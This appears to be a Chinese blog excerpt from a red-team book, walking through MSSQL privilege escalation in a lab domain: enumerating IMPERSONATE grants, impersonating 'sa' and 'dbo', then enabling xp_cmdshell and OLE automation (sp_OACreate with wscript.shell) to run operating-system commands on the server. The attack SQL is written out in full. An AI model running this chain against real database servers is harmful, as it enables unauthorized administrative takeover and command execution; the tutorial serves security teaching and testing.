利用MSSQL模拟提权

点击星标,即时接收最新推文

577e2c84e412a2a6a06695e682df3807.png

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

利用MSSQL模拟提权

在MS SQL数据库,可以使用EXECUTE AS语句,以其他用户的上下文执行SQL查询。需要注意的是只有明确授予模拟(Impersonate)权限的用户才能执行这个语句。这个权限对于多数用户不是默认配置,但是数据库管理员可能因为误配置导致权限提升。

这里为了演示利用MSSQL模拟提权的概念,我们在运行在dev-DC01的SQL数据库引入了一个误配置的模拟权限。有两种方式可以使用模拟。第一种方式是使用EXECUTE AS LOGIN语句在登录级别模拟不同的用户。第二种方式是在用户级别用EXECUTE AS USER语句来完成。

首先我们演示在登录级别的模拟。由于我们是低权限用户,我们无法枚举当前用户可以模拟哪个用户,但是可以枚举哪个用户可以被模拟。可通过如下查询获得哪个用户可以被模拟的信息:

set instance dev-dc01.dev.ms08067.cn
USE master;
go
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
go

2b18ecdc8b966274a613380ffa916492.png

枚举可被模拟的用户

从ESC工具的输出可以看到sa用户可被模拟,虽然无法判断哪个用户允许模拟成sa。在测试过程,可以使用我们有权限的用户直接尝试。我们首先使用EXECUTE AS LOGIN进行测试:   

set instance dev-dc01.dev.ms08067.cn
SELECT SYSTEM_USER;
go
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
go

15a2be57554700b56983b6f057727982.png

EXECUTE AS LOGIN模拟测试

从输出可以看到我们当前用户dev\dave可以模拟成sa,也就意味着当前用户有数据库管理员权限。

我们也可以模拟一个数据库用户,但是要进行权限提升,需要满足两个条件。首先模拟的其他用户需要有必要的权限,比如sysadmin角色。此外,因为数据库用户只能在特定数据库执行操作,要实现入侵数据库服务器,我们要模拟的用户需要在对应数据库设置了TRUSTWORTHY属性。仅原生的数据库msdb启用了这个属性。

要演示这个权限提升技术,guest用户必须在msdb授予模拟dbo的权限。

要执行模拟测试,首先切换到msdb数据,然后执行"EXECUTE AS USER"语句。通过USER_NAME()可以看到当前用户的上下文:

use msdb;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME();
go

2b503a610baee82ae868d20790d58c41.png

EXECUTE AS USER模拟

从输出可以看到,当前用户也有权限模拟成dbo用户,也就是获得了sysadmin权限。

在我们获得了sysadmin权限后,可以尝试在数据库服务器执行命令。比较常用的方法是使用xp_cmdshell存储过程。但是因为xp_cmdshell比较常用,所以可能被禁用或者监控,此时,我们也可以尝试使用其他的存储过程,比如sp_OACreate。

我们先尝试使用xp_cmdshell执行命令。从SQL 2005开始,xp_cmdshell默认被禁用。如果有sysadmin角色权限的话,可以使用advanced options和sp_configure存储过程启用。我们先模拟sa,然后使用sp_configure激活advanced options并启用xp_cmdshell:

EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell whoami
go

098e780470aaf06381e62771c0afdefd.png

启用xp_cmdshell

从输出可以看到成功在数据库服务器启用xp_cmdshell并执行了命令。后续如果想要执行其他命令,需要先执行EXECUTE AS LOGIN = 'sa':

746cf3d1869788a3d577fcbf3c818995.png

xp_cmdshell执行命令

如果要禁用xp_cmdshell,可用如下命令:

EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

如果xp_cmdshell不可用,我们也可以使用sp_OACreate和sp_OAMethod存储过程,来创建和执行一个基于Object Linking and Embedding(OLE)的新存储过程。需要注意的是这个方法的命令执行结果不会回显。

在执行OLE-based存储过程前,我们需要确保"OLE Automation Procedures"设置启用,默认是禁用的,我们可以使用sp_configure修改这个设置。

EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @myshell INT;
EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT;
EXEC sp_oamethod @myshell, 'run', null, 'cmd /c ipconfig > c:\Tools\ip.txt';
go

566ba50788a1800824e6846c61f287eb.png

sp_OACreate命令执行

命令执行完后,我们在服务器查看,可以看到在数据库服务器成功执行ipconfig:

315fc883c75e555205c2f779d7e46132.png

sp_OACreate命令执行结果

—  实验室旗下直播培训课程  —

a0e80d8ecc3a27343a1db869fa40e6cf.png

0b5219adc07d721ad549da0c3a750f76.jpeg

52b095b12abba3cbc7b68c4b7fdd08f9.jpeg065a899eeadda39089975aeb335f7fb1.png

af80d2292391b7cedaf900b3181e9e69.png

09a73401f558df11f0847a0becf45e6c.jpeg

7494513b97f203c26c6ef58114979566.jpeg

2a97825e6de69b17ec11f622bcd59d7b.jpeg

fe1194b9d83895aaa0c81b0ed7b3e5ad.png

和20000+位同学加入MS08067一起学习

e7de184e13a1b5f5ca9c8ad1f843369b.gif

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值